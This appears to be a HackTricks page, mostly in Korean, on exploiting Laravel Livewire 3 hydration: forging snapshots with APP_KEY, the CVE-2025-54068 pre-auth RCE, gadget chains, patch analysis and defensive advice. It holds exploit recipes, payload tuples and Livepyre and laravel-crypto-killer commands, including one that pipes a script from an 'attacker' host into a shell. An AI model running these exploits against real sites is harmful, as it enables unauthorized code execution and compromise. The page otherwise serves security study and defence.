Laravel Livewire Hydration & Synthesizer Abuse

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기

Livewire state machine 요약

Livewire 3 components는 data, memo, 그리고 checksum을 포함하는 snapshots를 통해 state를 교환한다. /livewire/update로의 모든 POST는 server-side에서 JSON snapshot을 rehydrate하고, 대기 중인 calls/updates를 실행한다.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

따라서 APP_KEY($hashKey를 도출하는 데 사용됨)를 가진 사람은 HMAC를 재계산하여 임의의 snapshot를 위조할 수 있다.

복잡한 properties는 Livewire\Drawer\BaseUtils::isSyntheticTuple()에 의해 감지되는 synthetic tuples로 인코딩된다; 각 tuple은 [value, {"s":"<key>", ...meta}] 형태이다. hydration core는 단순히 모든 tuple을 HandleComponents::$propertySynthesizers에서 선택된 synth에 위임하고, children에 대해 재귀적으로 처리한다:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

이 재귀적 설계는 공격자가 tuple 메타데이터 또는 재귀 중 처리되는 어떤 중첩 tuple이라도 제어할 수 있게 되는 순간 Livewire를 generic object-instantiation engine으로 만듭니다.

gadget primitives를 부여하는 Synthesizers

Synthesizer공격자가 제어하는 동작
CollectionSynth (clctn)각 child를 rehydrating한 뒤 new $meta['class']($value)를 instantiates합니다. array constructor를 가진 어떤 class든 생성할 수 있으며, 각 item 자체도 synthetic tuple일 수 있습니다.
FormObjectSynth (form)new $meta['class']($component, $path)를 호출한 뒤, $hydrateChild를 통해 공격자가 제어하는 children의 모든 public property를 할당합니다. 두 개의 loosely typed parameters(또는 default args)를 받는 constructor만 있어도 임의의 public properties에 도달할 수 있습니다.
ModelSynth (mdl)meta에 key가 없으면 return new $class;를 실행하여 공격자가 제어하는 범위 내의 어떤 class든 zero-argument instantiation을 허용합니다.

synths가 모든 nested element에 대해 $hydrateChild를 호출하므로, tuple을 재귀적으로 쌓아 임의의 gadget graph를 만들 수 있습니다.

APP_KEY를 알 때 snapshots 위조하기

  1. 정상적인 /livewire/update 요청을 캡처하고 components[0].snapshot을 decode합니다.
  2. gadget class를 가리키는 nested tuple을 주입하고 checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)를 recompute합니다.
  3. snapshot을 다시 encode하고 _token/memo는 그대로 둔 채 요청을 replay합니다.

가장 작은 실행 proof는 **Guzzle의 FnStream**과 **Flysystem의 ShardedPrefixPublicUrlGenerator**를 사용합니다. 한 tuple은 constructor data { "__toString": "phpinfo" }FnStream을 instantiates하고, 다음 tuple은 $prefixes[FnStreamInstance]를 사용해 ShardedPrefixPublicUrlGenerator를 instantiates합니다. Flysystem이 각 prefix를 string으로 캐스팅할 때, PHP는 공격자가 제공한 __toString callable을 호출하여 인자 없이 어떤 function이든 실행합니다.

function calls에서 완전한 RCE까지

Livewire의 instantiation primitives를 활용해, Synacktiv는 phpggc의 Laravel/RCE4 chain을 변형하여 hydration이 deserialization을 유발하는 public Queueable state를 가진 object를 부트하도록 했습니다:

  1. Queueable traitIlluminate\Bus\Queueable을 사용하는 어떤 object든 public $chained를 노출하며 dispatchNextJobInChain()에서 unserialize(array_shift($this->chained))를 실행합니다.
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue)는 public $chained가 채워진 상태로 CollectionSynth / FormObjectSynth를 통해 instantiates됩니다.
  3. phpggc Laravel/RCE4Adapted$chained[0]에 저장된 serialized blob이 PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed를 만듭니다. Signed::__invoke()는 마침내 call_user_func_array($closure, $args)를 호출하여 system($cmd)를 가능하게 합니다.
  4. Stealth termination[new Laravel\Prompts\Terminal(), 'exit'] 같은 두 번째 FnStream callable을 넘기면, 요청은 시끄러운 exception 대신 exit()로 끝나 HTTP response를 깨끗하게 유지합니다.

snapshot 위조 자동화

synacktiv/laravel-crypto-killer는 이제 모든 것을 이어 붙이는 livewire mode를 제공합니다:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

이 도구는 캡처된 snapshot을 파싱하고, gadget tuple을 주입한 뒤, checksum을 다시 계산하고, 바로 전송할 수 있는 /livewire/update payload를 출력한다.

CVE-2025-54068 – APP_KEY 없이 RCE

벤더 advisory에 따르면, 이 이슈는 Livewire v3(>= 3.0.0-beta.1 및 <= 3.6.3)에 영향을 주며 v3에만 해당한다.

updates는 snapshot checksum이 검증된 후에 component state에 병합된다. snapshot 안의 property가 synthetic tuple이거나 synthetic tuple이 되면, Livewire는 attacker-controlled update value를 hydration할 때 그 meta를 재사용한다:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. untyped public property가 있는 Livewire component를 찾는다(예: public $count;).
  2. 그 property를 []로 설정하는 update를 보낸다. 그러면 다음 snapshot은 이제 그것을 [[], {"s": "arr"}]로 저장한다.

최소 type-juggling 흐름은 다음과 같다:

POST /livewire/update
...
"updates": {"count": []}

그다음 snapshot은 arr synthesizer metadata를 유지하는 tuple을 저장한다:

"count": [[], {"s": "arr"}]
  1. 해당 property가 [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ] 같은 tuple을 깊게 중첩한 array를 포함하도록 또 다른 updates payload를 만든다.
  2. recursion 동안 hydrate()는 각 중첩 child를 독립적으로 평가하므로, 외부 tuple과 checksum이 바뀌지 않았더라도 attacker가 선택한 synth keys/classes가 그대로 반영된다.
  3. 같은 CollectionSynth/FormObjectSynth primitive를 재사용해 $chained[0]에 phpggc payload가 들어 있는 Queueable gadget을 instantiate한다. Livewire는 forged updates를 처리하고 dispatchNextJobInChain()을 호출한 뒤 APP_KEY를 모르더라도 system(<cmd>)에 도달한다.

이것이 작동하는 핵심 이유:

  • updates는 snapshot checksum의 보호 대상이 아니다.
  • getMetaForPath()는 attacker가 이전에 weak typing으로 그 property를 tuple로 바꾸도록 강제했더라도, 그 property에 이미 존재하던 synth metadata를 그대로 신뢰한다.
  • recursion과 weak typing이 결합되면 각 중첩 array를 완전히 새로운 tuple처럼 해석할 수 있으므로, 결국 임의의 synth keys와 임의의 classes가 hydration에 도달한다.

고가치 pre-auth target: Filament login forms

Livewire 위에 구축된 애플리케이션은 종종 toy public $count; property보다 더 쉬운 pre-auth surface를 노출한다. 예를 들어 Filament login page는 일반적으로 snapshot에서 이미 form tuple로 serialized된 weakly typed $form object를 hydrate한다. 그러면 “scalar -> array -> arr tuple” 설정 단계가 완전히 사라진다:

  • snapshot에는 이미 {"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]} 같은 것이 들어 있다.
  • attacker는 updates.form에 중첩된 malicious tuples를 직접 보낼 수 있다. recursion이 결국 [payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}] 같은 child를 재해석하기 때문이다.
  • 이것이 FormObjectSynth objects를 노출하는 pre-auth Livewire entrypoint가 특히 매력적인 이유다: 이미 instantiation과 public-property assignment를 둘 다 제공하기 때문이다.

Patch analysis: update recursion 동안 raw metadata를 보존

이 fix는 dedicated hydratePropertyUpdate() path를 도입하여, nested update values가 더 이상 attacker-controlled children에 대해 generic hydrate($child, ...)를 호출하지 않도록 한다:

protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);

return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}

패치의 보안 영향:

  • 중첩 업데이트는 이제 새로 받은 공격자 제공 tuple 메타데이터를 신뢰하지 않고, 원래의 raw snapshot path를 기준으로 다시 검증된다.
  • recursive hydration에서는 더 이상 하위 요소가 진행 중간에 s 또는 class를 재정의할 수 없다.
  • 이로써 arbitrary synthesizer switching과 중첩 update 배열 내부의 arbitrary class selection이 모두 차단된다.

Livepyre – end-to-end exploitation

Livepyre는 APP_KEY-less CVE와 signed-snapshot path 둘 다를 자동화한다:

  • <script src="/livewire/livewire.js?id=HASH">(또는 ?v=HASH)를 파싱해 배포된 Livewire 버전을 fingerprinting하고, hash를 취약한 release에 매핑한다.
  • 정상 동작을 재생하고 components[].snapshot을 추출해 baseline snapshots를 수집한다.
  • updates-only payload(CVE-2025-54068) 또는 phpggc chain을 포함하는 forged snapshot(known APP_KEY) 중 하나를 생성한다.
  • snapshot에서 object-typed parameter를 찾지 못하면, Livepyre는 coercible property에 도달하기 위해 후보 params를 brute-forcing하는 쪽으로 fallback한다.

일반적인 사용법:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check runs a non-destructive probe, -F skips version gating, -H and -P add custom headers or proxies, and --function/--param customize the php function invoked by the gadget chain.

Defensive considerations

  • Upgrade to fixed Livewire builds (>= 3.6.4 according to the vendor bulletin) and deploy the vendor patch for CVE-2025-54068.
  • Avoid weakly typed public properties in Livewire components; explicit scalar types prevent property values from being coerced into arrays/tuples.
  • Register only the synthesizers you truly need and treat user-controlled metadata ($meta['class']) as untrusted.
  • Reject updates that change the JSON type of a property (e.g., scalar -> array) unless explicitly allowed, and re-derive synth metadata instead of reusing stale tuples.
  • Rotate APP_KEY promptly after any disclosure because it enables offline snapshot forging no matter how patched the code-base is.

References

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기